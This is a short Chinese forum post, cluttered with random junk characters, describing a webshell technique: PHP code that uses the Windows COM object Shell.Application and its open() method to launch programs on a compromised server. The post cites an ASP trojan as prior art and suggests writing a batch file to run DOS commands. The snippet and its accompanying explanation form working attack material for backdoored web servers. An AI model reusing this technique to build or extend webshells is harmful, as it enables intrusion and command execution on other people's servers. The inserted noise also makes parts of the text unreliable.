关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。% p; ?% T, R, o; u* S
0 B7 M" u8 \$ V( E今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
' S% \. ]$ U. y) l1 n* _( T9 D' |* `2 `
<?php
4 L n# `: T" t0 A$wsh = new COM('Shell.Application') or die("Shell.Application");
1 L5 z* x$ U5 ~9 t* x $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");0 S5 ]) o9 m0 M( b/ O* H& K
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。8 O' {2 |1 g5 }' e; U& ~
?>
! P8 J8 m' q9 t, {! G4 `+ O# K9 K5 g f4 ~& J* \
xp+APMServ5.2.0测试通过。
% ]% g' w- W+ ?& c4 x |